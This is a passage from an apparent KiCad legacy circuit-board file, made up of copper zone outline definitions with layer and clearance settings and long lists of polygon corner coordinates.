35128 0 0\n69760 35092 0 0\n69760 34949 0 0\n69690 34780 0 0\n69561 34650 0 0\n69392 34580 0 0\n69209 34580 0 0\n69040 34650 0 0\n68910 34779 0 0\n68840 34948 0 0\n68840 35090 0 0\n68829 35090 0 0\n68737 35128 0 0\n68667 35198 0 0\n68629 35289 0 0\n68629 35388 0 0\n68629 35938 0 0\n68667 36030 0 0\n68737 36100 0 0\n68828 36138 0 0\n68927 36138 0 0\n69753 36138 0 0\n69845 36100 0 0\n69915 36030 0 0\n69953 35939 0 0\n69953 37062 0 0\n69915 36970 0 0\n69845 36900 0 0\n69754 36862 0 0\n69655 36862 0 0\n68829 36862 0 0\n68737 36900 0 0\n68667 36970 0 0\n68629 37061 0 0\n68629 37096 0 0\n66371 37096 0 0\n66371 37062 0 0\n66371 35939 0 0\n66371 35840 0 0\n66371 35290 0 0\n66360 35263 0 0\n66360 32292 0 0\n66360 32109 0 0\n66290 31940 0 0\n66161 31810 0 0\n65992 31740 0 0\n65934 31740 0 0\n65913 31718 0 0\n65942 31650 0 0\n65942 31352 0 0\n65828 31077 0 0\n65618 30866 0 0\n65343 30751 0 0\n65045 30751 0 0\n64770 30865 0 0\n64559 31075 0 0\n64444 31350 0 0\n64444 31648 0 0\n64558 31923 0 0\n64768 32134 0 0\n65043 32249 0 0\n65341 32249 0 0\n65421 32215 0 0\n65440 32234 0 0\n65440 32291 0 0\n65510 32460 0 0\n65639 32590 0 0\n65808 32660 0 0\n65991 32660 0 0\n66160 32590 0 0\n66290 32461 0 0\n66360 32292 0 0\n66360 35263 0 0\n66333 35198 0 0\n66263 35128 0 0\n66172 35090 0 0\n66170 35090 0 0\n66170 34949 0 0\n66100 34780 0 0\n65971 34650 0 0\n65802 34580 0 0\n65619 34580 0 0\n65450 34650 0 0\n65320 34779 0 0\n65250 34948 0 0\n65250 35090 0 0\n65247 35090 0 0\n65155 35128 0 0\n65085 35198 0 0\n65047 35289 0 0\n65047 35388 0 0\n65047 35938 0 0\n65085 36030 0 0\n65155 36100 0 0\n65246 36138 0 0\n65345 36138 0 0\n66171 36138 0 0\n66263 36100 0 0\n66333 36030 0 0\n66371 35939 0 0\n66371 37062 0 0\n66333 36970 0 0\n66263 36900 0 0\n66172 36862 0 0\n66073 36862 0 0\n65247 36862 0 0\n65155 36900 0 0\n65085 36970 0 0\n65047 37061 0 0\n65047 37096 0 0\n64766 37096 0 0\n64390 36720 0 0\n64390 34381 0 0\n64480 34419 0 0\n64579 34419 0 0\n64919 34419 0 0\n65011 34381 0 0\n65065 34327 0 0\n65096 34340 0 0\n65208 34340 0 0\n65250 34298 0 0\n65250 34273 0 0\n65281 34261 0 0\n65350 34192 0 0\n65350 34298 0 0\n65392 34340 0 0\n65504 34340 0 0\n65566 34314 0 0\n65614 34266 0 0\n65640 34204 0 0\n65640 34136 0 0\n65640 34092 0 0\n65598 34050 0 0\n65389 34050 0 0\n65389 34001 0 0\n65389 33950 0 0\n65598 33950 0 0\n65640 33908 0 0\n65640 33864 0 0\n65640 33796 0 0\n65614 33734 0 0\n65566 33686 0 0\n65504 33660 0 0\n65392 33660 0 0\n65350 33702 0 0\n65350 33808 0 0\n65281 33739 0 0\n65250 33726 0 0\n65250 33702 0 0\n65208 33660 0 0\n65096 33660 0 0\n65065 33673 0 0\n65011 33619 0 0\n64920 33581 0 0\n64821 33581 0 0\n64691 33581 0 0\n62595 31485 0 0\n62595 31352 0 0\n62481 31077 0 0\n62271 30866 0 0\n61996 30751 0 0\n61698 30751 0 0\n61423 30865 0 0\n61212 31075 0 0\n61097 31350 0 0\n61097 31648 0 0\n61211 31923 0 0\n61421 32134 0 0\n61696 32249 0 0\n61994 32249 0 0\n62269 32135 0 0\n62347 32057 0 0\n63500 33210 0 0\n60850 33210 0 0\n60739 33232 0 0\n60645 33295 0 0\n60644 33295 0 0\n60644 33296 0 0\n60358 33582 0 0\n60311 33535 0 0\n60109 33451 0 0\n59891 33451 0 0\n59689 33535 0 0\n59535 33689 0 0\n59500 33773 0 0\n59465 33689 0 0\n59311 33535 0 0\n59249 33509 0 0\n59249 31650 0 0\n59249 31352 0 0\n59135 31077 0 0\n58925 30866 0 0\n58650 30751 0 0\n58352 30751 0 0\n58077 30865 0 0\n57866 31075 0 0\n57809 31210 0 0\n57110 31210 0 0\n56333 30433 0 0\n56239 30370 0 0\n56128 30348 0 0\n48232 30348 0 0\n48121 30370 0 0\n48027 30433 0 0\n47333 31127 0 0\n47270 31221 0 0\n47248 31332 0 0\n47248 37038 0 0\n47270 37149 0 0\n47333 37243 0 0\n47676 37586 0 0\n47676 37660 0 0\n47737 37809 0 0\n47851 37922 0 0\n47999 37984 0 0\n48160 37984 0 0\n48309 37923 0 0\n48422 37809 0 0\n48484 37661 0 0\n48484 37544 0 0\n48560 37544 0 0\n48709 37483 0 0\n48822 37369 0 0\n48884 37221 0 0\n48884 37060 0 0\n48823 36911 0 0\n48709 36798 0 0\n48561 36736 0 0\n48486 36736 0 0\n48190 36440 0 0\n48190 31550 0 0\n48488 31252 0 0\n51098 31252 0 0\n51058 31350 0 0\n51058 31648 0 0\n51172 31923 0 0\n51382 32134 0 0\n51657 32249 0 0\n51955 32249 0 0\n52090 32193 0 0\n53162 33265 0 0\n53256 33328 0 0\n53367 33350 0 0\n57460 33350 0 0\n57571 33328 0 0\n57636 33284 0 0\n57720 33284 0 0\n57869 33223 0 0\n57982 33109 0 0\n58044 32961 0 0\n58044 32800 0 0\n57983 32651 0 0\n57869 32538 0 0\n57721 32476 0 0\n57560 32476 0 0\n57411 32537 0 0\n57298 32651 0 0\n57248 32770 0 0\n53487 32770 0 0\n52500 31783 0 0\n52556 31650 0 0\n52556 31352 0 0\n52447 31090 0 0\n54334 31090 0 0\n54460 31216 0 0\n54405 31350 0 0\n54405 31648 0 0\n54519 31923 0 0\n54729 32134 0 0\n55004 32249 0 0\n55302 32249 0 0\n55577 32135 0 0\n55788 31925 0 0\n55903 31650 0 0\n55903 31352 0 0\n55789 31077 0 0\n55640 30928 0 0\n56008 30928 0 0\n56785 31705 0 0\n56879 31768 0 0\n56990 31790 0 0\n57809 31790 0 0\n57865 31923 0 0\n58075 32134 0 0\n58350 32249 0 0\n58648 32249 0 0\n58923 32135 0 0\n59134 31925 0 0\n59249 31650 0 0\n59249 33509 0 0\n59109 33451 0 0\n58891 33451 0 0\n58689 33535 0 0\n58535 33689 0 0\n58500 33773 0 0\n58465 33689 0 0\n58311 33535 0 0\n58109 33451 0 0\n57891 33451 0 0\n57689 33535 0 0\n57535 33689 0 0\n57500 33773 0 0\n57465 33689 0 0\n57311 33535 0 0\n57109 33451 0 0\n56891 33451 0 0\n56689 33535 0 0\n56535 33689 0 0\n56500 33773 0 0\n56465 33689 0 0\n56311 33535 0 0\n56109 33451 0 0\n55891 33451 0 0\n55689 33535 0 0\n55535 33689 0 0\n55451 33891 0 0\n55451 34109 0 0\n55459 34130 0 0\n55295 34295 0 0\n55232 34389 0 0\n55210 34500 0 0\n55210 35180 0 0\n55232 35291 0 0\n55295 35385 0 0\n55518 35608 0 0\n55518 38115 0 0\n55491 38127 0 0\n55378 38241 0 0\n55316 38389 0 0\n55316 38550 0 0\n55377 38699 0 0\n55491 38812 0 0\n55639 38874 0 0\n55800 38874 0 0\n55930 38820 0 0\n56056 38946 0 0\n56056 39020 0 0\n56117 39169 0 0\n56231 39282 0 0\n56379 39344 0 0\n56540 39344 0 0\n56689 39283 0 0\n56802 39169 0 0\n56864 39021 0 0\n56864 38961 0 0\n56909 38943 0 0\n57022 38829 0 0\n57084 38681 0 0\n57084 38606 0 0\n59705 35985 0 0\n59768 35891 0 0\n59790 35780 0 0\n59790 35507 0 0\n59891 35549 0 0\n60109 35549 0 0\n60311 35465 0 0\n60465 35311 0 0\n60500 35226 0 0\n60535 35311 0 0\n60689 35465 0 0\n60891 35549 0 0\n60909 35549 0 0\n62062 36702 0 0\n62062 39832 0 0\n61825 39595 0 0\n61731 39532 0 0\n61620 39510 0 0\n61539 39510 0 0\n61531 39489 0 0\n61461 39419 0 0\n61370 39381 0 0\n61271 39381 0 0\n60931 39381 0 0\n60850 39414 0 0\n60770 39381 0 0\n60671 39381 0 0\n60331 39381 0 0\n60239 39419 0 0\n60192 39465 0 0\n60181 39439 0 0\n60127 39385 0 0\n60140 39354 0 0\n60140 39242 0 0\n60140 39058 0 0\n60140 38946 0 0\n60114 38884 0 0\n60066 38836 0 0\n60004 38810 0 0\n59936 38810 0 0\n59892 38810 0 0\n59850 38852 0 0\n59850 39100 0 0\n60098 39100 0 0\n60140 39058 0 0\n60140 39242 0 0\n60098 39200 0 0\n59900 39200 0 0\n59850 39200 0 0\n59750 39200 0 0\n59750 39100 0 0\n59750 38852 0 0\n59708 38810 0 0\n59664 38810 0 0\n59596 38810 0 0\n59534 38836 0 0\n59486 38884 0 0\n59460 38946 0 0\n59460 39058 0 0\n59502 39100 0 0\n59750 39100 0 0\n59750 39200 0 0\n59700 39200 0 0\n59502 39200 0 0\n59460 39242 0 0\n59460 39354 0 0\n59473 39385 0 0\n59419 39439 0 0\n59410 39460 0 0\n58900 39460 0 0\n58789 39482 0 0\n58695 39545 0 0\n57775 40464 0 0\n56849 39539 0 0\n56755 39476 0 0\n56644 39454 0 0\n53950 39454 0 0\n53950 38564 0 0\n53950 38442 0 0\n53908 38400 0 0\n53650 38400 0 0\n53650 38658 0 0\n53692 38700 0 0\n53746 38700 0 0\n53814 38700 0 0\n53876 38674 0 0\n53924 38626 0 0\n53950 38564 0 0\n53950 39454 0 0\n53550 39454 0 0\n53550 38658 0 0\n53550 38400 0 0\n53292 38400 0 0\n53250 38442 0 0\n53250 38560 0 0\n53142 38560 0 0\n53100 38602 0 0\n53100 38850 0 0\n53348 38850 0 0\n53390 38808 0 0\n53390 38764 0 0\n53390 38700 0 0\n53454 38700 0 0\n53508 38700 0 0\n53550 38658 0 0\n53550 39454 0 0\n53390 39454 0 0\n53390 39104 0 0\n53390 39036 0 0\n53390 38992 0 0\n53348 38950 0 0\n53100 38950 0 0\n53100 39198 0 0\n53142 39240 0 0\n53254 39240 0 0\n53316 39214 0 0\n53364 39166 0 0\n53390 39104 0 0\n53390 39454 0 0\n53000 39454 0 0\n53000 39198 0 0\n53000 39000 0 0\n53000 38950 0 0\n53000 38850 0 0\n53000 38800 0 0\n53000 38602 0 0\n52958 38560 0 0\n52846 38560 0 0\n52815 38573 0 0\n52761 38519 0 0\n52670 38481 0 0\n52571 38481 0 0\n52231 38481 0 0\n52210 38489 0 0\n52092 38440 0 0\n51909 38440 0 0\n51740 38510 0 0\n51610 38639 0 0\n51540 38808 0 0\n51540 38991 0 0\n51610 39160 0 0\n51739 39290 0 0\n51908 39360 0 0\n52091 39360 0 0\n52210 39310 0 0\n52230 39319 0 0\n52329 39319 0 0\n52669 39319 0 0\n52761 39281 0 0\n52815 39227 0 0\n52846 39240 0 0\n52958 39240 0 0\n53000 39198 0 0\n53000 39454 0 0\n49113 39454 0 0\n50417 38150 0 0\n52610 38150 0 0\n52801 38112 0 0\n52964 38004 0 0\n53072 37841 0 0\n53109 37653 0 0\n53171 37715 0 0\n53171 37879 0 0\n53209 37971 0 0\n53279 38041 0 0\n53300 38049 0 0\n53276 38074 0 0\n53250 38136 0 0\n53250 38258 0 0\n53292 38300 0 0\n53500 38300 0 0\n53550 38300 0 0\n53650 38300 0 0\n53700 38300 0 0\n53908 38300 0 0\n53950 38258 0 0\n53950 38136 0 0\n53924 38074 0 0\n53899 38049 0 0\n53921 38041 0 0\n53971 37991 0 0\n53971 38229 0 0\n54009 38321 0 0\n54079 38391 0 0\n54170 38429 0 0\n54269 38429 0 0\n54629 38429 0 0\n54656 38417 0 0\n54758 38460 0 0\n54941 38460 0 0\n55110 38390 0 0\n55240 38261 0 0\n55310 38092 0 0\n55310 37909 0 0\n55240 37740 0 0\n55111 37610 0 0\n54942 37540 0 0\n54759 37540 0 0\n54656 37582 0 0\n54630 37571 0 0\n54531 37571 0 0\n54171 37571 0 0\n54079 37609 0 0\n54029 37659 0 0\n54029 37421 0 0\n53991 37329 0 0\n53921 37259 0 0\n53830 37221 0 0\n53731 37221 0 0\n53665 37221 0 0\n53469 37024 0 0\n53469 36881 0 0\n53431 36789 0 0\n53361 36719 0 0\n53270 36681 0 0\n53171 36681 0 0\n52910 36681 0 0\n52910 36559 0 0\n52840 36390 0 0\n52711 36260 0 0\n52542 36190 0 0\n52359 36190 0 0\n52190 36260 0 0\n52060 36389 0 0\n51990 36558 0 0\n51990 36741 0 0\n52039 36860 0 0\n52031 36880 0 0\n52031 36979 0 0\n52031 37150 0 0\n51549 37150 0 0\n51549 35109 0 0\n51549 34891 0 0\n51465 34689 0 0\n51465 34061 0 0\n51453 33878 0 0\n51407 33766 0 0\n51336 33735 0 0\n51265 33806 0 0\n51265 33664 0 0\n51234 33593 0 0\n51061 33535 0 0\n50878 33547 0 0\n50766 33593 0 0\n50735 33664 0 0\n51000 33929 0 0\n51265 33664 0 0\n51265 33806 0 0\n51071 34000 0 0\n51336 34265 0 0\n51407 34234 0 0\n51465 34061 0 0\n51465 34689 0 0\n51311 34535 0 0\n51114 34453 0 0\n51122 34453 0 0\n51234 34407 0 0\n51265 34336 0 0\n51000 34071 0 0\n50929 34142 0 0\n50929 34000 0 0\n50664 33735 0 0\n50593 33766 0 0\n50535 33939 0 0\n50547 34122 0 0\n50593 34234 0 0\n50664 34265 0 0\n50929 34000 0 0\n50929 34142 0 0\n50735 34336 0 0\n50766 34407 0 0\n50897 34451 0 0\n50891 34451 0 0\n50689 34535 0 0\n50535 34689 0 0\n50500 34773 0 0\n50465 34689 0 0\n50465 34061 0 0\n50453 33878 0 0\n50407 33766 0 0\n50336 33735 0 0\n50265 33806 0 0\n50265 33664 0 0\n50234 33593 0 0\n50061 33535 0 0\n49878 33547 0 0\n49766 33593 0 0\n49735 33664 0 0\n50000 33929 0 0\n50265 33664 0 0\n50265 33806 0 0\n50071 34000 0 0\n50336 34265 0 0\n50407 34234 0 0\n50465 34061 0 0\n50465 34689 0 0\n50311 34535 0 0\n50114 34453 0 0\n50122 34453 0 0\n50234 34407 0 0\n50265 34336 0 0\n50000 34071 0 0\n49929 34142 0 0\n49929 34000 0 0\n49664 33735 0 0\n49593 33766 0 0\n49535 33939 0 0\n49547 34122 0 0\n49593 34234 0 0\n49664 34265 0 0\n49929 34000 0 0\n49929 34142 0 0\n49735 34336 0 0\n49766 34407 0 0\n49897 34451 0 0\n49891 34451 0 0\n49689 34535 0 0\n49549 34675 0 0\n49549 34651 0 0\n49511 34559 0 0\n49465 34513 0 0\n49465 34061 0 0\n49453 33878 0 0\n49407 33766 0 0\n49336 33735 0 0\n49265 33806 0 0\n49265 33664 0 0\n49234 33593 0 0\n49061 33535 0 0\n48878 33547 0 0\n48766 33593 0 0\n48735 33664 0 0\n49000 33929 0 0\n49265 33664 0 0\n49265 33806 0 0\n49071 34000 0 0\n49336 34265 0 0\n49407 34234 0 0\n49465 34061 0 0\n49465 34513 0 0\n49441 34489 0 0\n49350 34451 0 0\n49251 34451 0 0\n49126 34451 0 0\n49234 34407 0 0\n49265 34336 0 0\n49000 34071 0 0\n48929 34142 0 0\n48929 34000 0 0\n48664 33735 0 0\n48593 33766 0 0\n48535 33939 0 0\n48547 34122 0 0\n48593 34234 0 0\n48664 34265 0 0\n48929 34000 0 0\n48929 34142 0 0\n48735 34336 0 0\n48766 34407 0 0\n48897 34451 0 0\n48651 34451 0 0\n48559 34489 0 0\n48489 34559 0 0\n48451 34650 0 0\n48451 34749 0 0\n48451 35349 0 0\n48489 35441 0 0\n48559 35511 0 0\n48650 35549 0 0\n48749 35549 0 0\n49349 35549 0 0\n49441 35511 0 0\n49511 35441 0 0\n49549 35350 0 0\n49549 35325 0 0\n49689 35465 0 0\n49891 35549 0 0\n50109 35549 0 0\n50311 35465 0 0\n50465 35311 0 0\n50500 35226 0 0\n50535 35311 0 0\n50689 35465 0 0\n50891 35549 0 0\n51109 35549 0 0\n51311 35465 0 0\n51465 35311 0 0\n51549 35109 0 0\n51549 37150 0 0\n50210 37150 0 0\n50018 37188 0 0\n49953 37231 0 0\n49856 37296 0 0\n49854 37298 0 0\n48374 38778 0 0\n48374 38416 0 0\n48336 38324 0 0\n48266 38254 0 0\n48175 38216 0 0\n48076 38216 0 0\n47506 38216 0 0\n47503 38216 0 0\n47502 38216 0 0\n47403 38216 0 0\n47153 38216 0 0\n47061 38254 0 0\n46991 38324 0 0\n46978 38353 0 0\n46784 38353 0 0\n46782 38352 0 0\n46557 38352 0 0\n46554 38353 0 0\n46550 38353 0 0\n46550 21550 0 0\n70450 21550 0 0\n70450 44750 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660000 0 \"\"\nZLayer 20\nZAux 1822 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 53880 25026 0\nZCorner 53881 24994 0\nZCorner 53882 24962 0\nZCorner 53883 24929 0\nZCorner 53884 24897 0\nZCorner 53888 24888 0\nZCorner 53892 24880 0\nZCorner 53896 24871 0\nZCorner 53900 24862 0\nZCorner 53902 24858 0\nZCorner 53905 24854 0\nZCorner 53908 24850 0\nZCorner 53911 24846 0\nZCorner 53575 24846 0\nZCorner 53239 24846 0\nZCorner 52904 24846 0\nZCorner 52568 24846 0\nZCorner 52511 24915 0\nZCorner 52470 24957 0\nZCorner 52443 24971 0\nZCorner 52431 24956 0\nZCorner 51693 24956 0\nZCorner 50955 24956 0\nZCorner 50217 24956 0\nZCorner 49479 24956 0\nZCorner 49476 24977 0\nZCorner 49454 24953 0\nZCorner 49414 24885 0\nZCorner 49354 24772 0\nZCorner 50503 24772 0\nZCorner 51652 24772 0\nZCorner 52801 24772 0\nZCorner 53950 24772 0\nZCorner 54025 24660 0\nZCorner 54102 24581 0\nZCorner 54182 24536 0\nZCorner 54263 24522 0\nZCorner 54587 24523 0\nZCorner 54911 24524 0\nZCorner 55235 24525 0\nZCorner 55559 24526 0\nZCorner 55573 24531 0\nZCorner 55587 24536 0\nZCorner 55600 24541 0\nZCorner 55614 24546 0\nZCorner 55619 24552 0\nZCorner 55624 24558 0\nZCorner 55629 24563 0\nZCorner 55634 24569 0\nZCorner 55638 24575 0\nZCorner 55641 24581 0\nZCorner 55645 24587 0\nZCorner 55649 24593 0\nZCorner 55651 24601 0\nZCorner 55653 24610 0\nZCorner 55655 24619 0\nZCorner 55657 24628 0\nZCorner 55667 24624 0\nZCorner 55677 24620 0\nZCorner 55686 24616 0\nZCorner 55696 24612 0\nZCorner 55746 24592 0\nZCorner 55796 24571 0\nZCorner 55846 24551 0\nZCorner 55895 24530 0\nZCorner 55983 24522 0\nZCorner 56071 24514 0\nZCorner 56159 24507 0\nZCorner 56247 24499 0\nZCorner 56180 24449 0\nZCorner 56112 24399 0\nZCorner 56045 24349 0\nZCorner 55977 24300 0\nZCorner 56010 24244 0\nZCorner 56042 24188 0\nZCorner 56074 24133 0\nZCorner 56106 24077 0\nZCorner 56212 24129 0\nZCorner 56317 24180 0\nZCorner 56423 24232 0\nZCorner 56528 24284 0\nZCorner 56527 24285 0\nZCorner 56526 24286 0\nZCorner 56525 24287 0\nZCorner 56524 24288 0\nZCorner 56526 24287 0\nZCorner 56528 24286 0\nZCorner 56530 24285 0\nZCorner 56532 24284 0\nZCorner 56567 24237 0\nZCorner 56602 24190 0\nZCorner 56637 24143 0\nZCorner 56672 24096 0\nZCorner 56598 24007 0\nZCorner 56524 23917 0\nZCorner 56450 23827 0\nZCorner 56376 23737 0\nZCorner 56422 23692 0\nZCorner 56467 23647 0\nZCorner 56513 23602 0\nZCorner 56559 23557 0\nZCorner 56649 23632 0\nZCorner 56739 23706 0\nZCorner 56829 23780 0\nZCorner 56918 23854 0\nZCorner 56964 23819 0\nZCorner 57010 23784 0\nZCorner 57056 23749 0\nZCorner 57102 23714 0\nZCorner 57052 23609 0\nZCorner 57003 23505 0\nZCorner 56953 23400 0\nZCorner 56903 23296 0\nZCorner 56957 23262 0\nZCorner 57010 23227 0\nZCorner 57064 23193 0\nZCorner 57118 23159 0\nZCorner 57188 23252 0\nZCorner 57258 23345 0\nZCorner 57328 23437 0\nZCorner 57399 23530 0\nZCorner 57451 23508 0\nZCorner 57504 23485 0\nZCorner 57557 23463 0\nZCorner 57610 23440 0\nZCorner 57585 23326 0\nZCorner 57561 23212 0\nZCorner 57537 23098 0\nZCorner 57512 22983 0\nZCorner 57575 22964 0\nZCorner 57637 22944 0\nZCorner 57700 22925 0\nZCorner 57762 22905 0\nZCorner 57807 23013 0\nZCorner 57852 23120 0\nZCorner 57897 23227 0\nZCorner 57942 23335 0\nZCorner 57999 23325 0\nZCorner 58055 23315 0\nZCorner 58112 23305 0\nZCorner 58168 23296 0\nZCorner 58171 23179 0\nZCorner 58174 23061 0\nZCorner 58177 22944 0\nZCorner 58180 22827 0\nZCorner 58246 22823 0\nZCorner 58313 22819 0\nZCorner 58379 22815 0\nZCorner 58445 22811 0\nZCorner 58463 22928 0\nZCorner 58481 23044 0\nZCorner 58498 23160 0\nZCorner 58516 23276 0\nZCorner 58573 23278 0\nZCorner 58631 23280 0\nZCorner 58689 23282 0\nZCorner 58746 23284 0\nZCorner 58777 23177 0\nZCorner 58807 23069 0\nZCorner 58837 22962 0\nZCorner 58878 22839 0\nZCorner 58972 22853 0\nZCorner 59125 22882 0\nZCorner 59115 22999 0\nZCorner 59105 23116 0\nZCorner 59096 23233 0\nZCorner 59086 23350 0\nZCorner 59141 23367 0\nZCorner 59195 23383 0\nZCorner 59250 23400 0\nZCorner 59305 23417 0\nZCorner 59306 23418 0\nZCorner 59306 23419 0\nZCorner 59307 23420 0\nZCorner 59308 23421 0\nZCorner 59308 23420 0\nZCorner 59308 23419 0\nZCorner 59308 23418 0\nZCorner 59308 23417 0\nZCorner 59365 23315 0\nZCorner 59422 23214 0\nZCorner 59478 23112 0\nZCorner 59535 23010 0\nZCorner 59595 23037 0\nZCorner 59654 23063 0\nZCorner 59714 23090 0\nZCorner 59773 23116 0\nZCorner 59735 23227 0\nZCorner 59697 23338 0\nZCorner 59659 23450 0\nZCorner 59621 23561 0\nZCorner 59671 23590 0\nZCorner 59720 23620 0\nZCorner 59770 23649 0\nZCorner 59820 23678 0\nZCorner 59899 23594 0\nZCorner 59978 23510 0\nZCorner 60057 23426 0\nZCorner 60136 23342 0\nZCorner 60188 23381 0\nZCorner 60240 23420 0\nZCorner 60292 23460 0\nZCorner 60343 23499 0\nZCorner 60281 23597 0\nZCorner 60218 23696 0\nZCorner 60156 23794 0\nZCorner 60093 23893 0\nZCorner 60133 23934 0\nZCorner 60174 23975 0\nZCorner 60214 24016 0\nZCorner 60254 24057 0\nZCorner 60353 23994 0\nZCorner 60453 23930 0\nZCorner 60552 23867 0\nZCorner 60652 23803 0\nZCorner 60692 23853 0\nZCorner 60732 23903 0\nZCorner 60772 23953 0\nZCorner 60812 24003 0\nZCorner 60726 24084 0\nZCorner 60640 24165 0\nZCorner 60554 24246 0\nZCorner 60468 24327 0\nZCorner 60499 24376 0\nZCorner 60529 24426 0\nZCorner 60559 24476 0\nZCorner 60589 24526 0\nZCorner 60589 24529 0\nZCorner 60589 24532 0\nZCorner 60589 24535 0\nZCorner 60589 24538 0\nZCorner 60590 24538 0\nZCorner 60591 24538 0\nZCorner 60592 24538 0\nZCorner 60593 24538 0\nZCorner 60592 24535 0\nZCorner 60591 24532 0\nZCorner 60590 24529 0\nZCorner 60589 24526 0\nZCorner 60699 24488 0\nZCorner 60808 24450 0\nZCorner 60917 24412 0\nZCorner 61039 24379 0\nZCorner 61062 24431 0\nZCorner 61097 24514 0\nZCorner 61418 24495 0\nZCorner 61666 24497 0\nZCorner 61841 24519 0\nZCorner 61945 24561 0\nZCorner 61962 24569 0\nZCorner 61980 24577 0\nZCorner 61997 24584 0\nZCorner 62015 24592 0\nZCorner 62016 24564 0\nZCorner 62017 24536 0\nZCorner 62018 24507 0\nZCorner 62019 24479 0\nZCorner 62020 24466 0\nZCorner 62021 24454 0\nZCorner 62022 24441 0\nZCorner 62023 24428 0\nZCorner 62026 24416 0\nZCorner 62028 24405 0\nZCorner 62031 24393 0\nZCorner 62034 24381 0\nZCorner 62039 24373 0\nZCorner 62044 24364 0\nZCorner 62049 24355 0\nZCorner 62054 24346 0\nZCorner 62064 24337 0\nZCorner 62073 24329 0\nZCorner 62083 24320 0\nZCorner 62093 24311 0\nZCorner 62099 24308 0\nZCorner 62105 24305 0\nZCorner 62110 24302 0\nZCorner 62116 24299 0\nZCorner 62120 24296 0\nZCorner 62124 24294 0\nZCorner 62128 24291 0\nZCorner 62132 24288 0\nZCorner 62199 24278 0\nZCorner 62366 24274 0\nZCorner 62633 24276 0\nZCorner 62999 24284 0\nZCorner 63047 24298 0\nZCorner 63082 24356 0\nZCorner 63102 24458 0\nZCorner 63108 24604 0\nZCorner 63108 24609 0\nZCorner 63108 24614 0\nZCorner 63108 24619 0\nZCorner 63108 24623 0\nZCorner 63121 24629 0\nZCorner 63134 24635 0\nZCorner 63146 24641 0\nZCorner 63159 24647 0\nZCorner 63167 24655 0\nZCorner 63175 24663 0\nZCorner 63183 24670 0\nZCorner 63190 24678 0\nZCorner 63199 24702 0\nZCorner 63208 24725 0\nZCorner 63217 24748 0\nZCorner 63225 24772 0\nZCorner 64322 24772 0\nZCorner 65418 24772 0\nZCorner 66515 24772 0\nZCorner 67611 24772 0\nZCorner 67554 24885 0\nZCorner 67515 24953 0\nZCorner 67495 24977 0\nZCorner 67494 24955 0\nZCorner 67421 24967 0\nZCorner 67348 24974 0\nZCorner 67276 24976 0\nZCorner 67205 24975 0\nZCorner 66500 24975 0\nZCorner 65794 24975 0\nZCorner 65088 24975 0\nZCorner 64382 24975 0\nZCorner 64356 24947 0\nZCorner 64331 24918 0\nZCorner 64306 24890 0\nZCorner 64280 24862 0\nZCorner 64020 24862 0\nZCorner 63759 24862 0\nZCorner 63498 24862 0\nZCorner 63237 24862 0\nZCorner 63238 24888 0\nZCorner 63239 24914 0\nZCorner 63240 24941 0\nZCorner 63241 24967 0\nZCorner 63238 24982 0\nZCorner 63235 24997 0\nZCorner 63233 25011 0\nZCorner 63230 25026 0\nZCorner 64353 25026 0\nZCorner 65477 25026 0\nZCorner 66601 25026 0\nZCorner 67725 25026 0\nZCorner 67756 25022 0\nZCorner 67732 25070 0\nZCorner 67653 25170 0\nZCorner 67522 25323 0\nZCorner 67516 25341 0\nZCorner 67510 25360 0\nZCorner 67504 25378 0\nZCorner 67498 25397 0\nZCorner 66476 25398 0\nZCorner 65454 25399 0\nZCorner 64432 25400 0\nZCorner 63409 25401 0\nZCorner 63333 25400 0\nZCorner 63257 25399 0\nZCorner 63181 25398 0\nZCorner 63105 25397 0\nZCorner 63105 25399 0\nZCorner 63105 25401 0\nZCorner 63105 25403 0\nZCorner 63105 25405 0\nZCorner 63105 25447 0\nZCorner 63105 25490 0\nZCorner 63105 25533 0\nZCorner 63105 25576 0\nZCorner 64187 25576 0\nZCorner 65270 25576 0\nZCorner 66353 25576 0\nZCorner 67436 25576 0\nZCorner 67372 25652 0\nZCorner 67309 25727 0\nZCorner 67245 25802 0\nZCorner 67182 25877 0\nZCorner 67175 25949 0\nZCorner 67161 26012 0\nZCorner 67140 26068 0\nZCorner 67111 26115 0\nZCorner 67090 26139 0\nZCorner 67067 26157 0\nZCorner 67042 26170 0\nZCorner 67014 26178 0\nZCorner 66981 26180 0\nZCorner 66948 26182 0\nZCorner 66914 26184 0\nZCorner 66881 26185 0\nZCorner 66873 26185 0\nZCorner 66865 26184 0\nZCorner 66858 26183 0\nZCorner 66850 26182 0\nZCorner 66837 26178 0\nZCorner 66824 26174 0\nZCorner 66812 26170 0\nZCorner 66799 26166 0\nZCorner 66791 26160 0\nZCorner 66784 26154 0\nZCorner 66776 26148 0\nZCorner 66768 26143 0\nZCorner 66761 26137 0\nZCorner 66754 26131 0\nZCorner 66747 26125 0\nZCorner 66741 26119 0\nZCorner 66732 26114 0\nZCorner 66723 26109 0\nZCorner 66714 26105 0\nZCorner 66705 26100 0\nZCorner 66692 26095 0\nZCorner 66678 26090 0\nZCorner 66664 26085 0\nZCorner 66651 26080 0\nZCorner 66627 26080 0\nZCorner 66604 26080 0\nZCorner 66580 26080 0\nZCorner 66557 26080 0\nZCorner 66548 26081 0\nZCorner 66539 26082 0\nZCorner 66531 26083 0\nZCorner 66522 26084 0\nZCorner 66508 26088 0\nZCorner 66495 26092 0\nZCorner 66481 26096 0\nZCorner 66467 26100 0\nZCorner 66455 26109 0\nZCorner 66442 26119 0\nZCorner 66429 26129 0\nZCorner 66416 26139 0\nZCorner 66373 26195 0\nZCorner 66329 26252 0\nZCorner 66285 26309 0\nZCorner 66241 26365 0\nZCorner 66222 26384 0\nZCorner 66193 26400 0\nZCorner 66156 26412 0\nZCorner 66108 26420 0\nZCorner 66103 26419 0\nZCorner 66098 26418 0\nZCorner 66093 26417 0\nZCorner 66088 26416 0\nZCorner 66087 26416 0\nZCorner 66086 26416 0\nZCorner 66085 26416 0\nZCorner 66084 26416 0\nZCorner 66073 26413 0\nZCorner 66061 26410 0\nZCorner 66049 26407 0\nZCorner 66038 26404 0\nZCorner 66024 26395 0\nZCorner 66010 26385 0\nZCorner 65997 26375 0\nZCorner 65983 26365 0\nZCorner 65968 26351 0\nZCorner 65954 26336 0\nZCorner 65939 26321 0\nZCorner 65924 26307 0\nZCorner 65912 26292 0\nZCorner 65899 26277 0\nZCorner 65886 26263 0\nZCorner 65874 26248 0\nZCorner 65860 26234 0\nZCorner 65846 26221 0\nZCorner 65833 26207 0\nZCorner 65819 26193 0\nZCorner 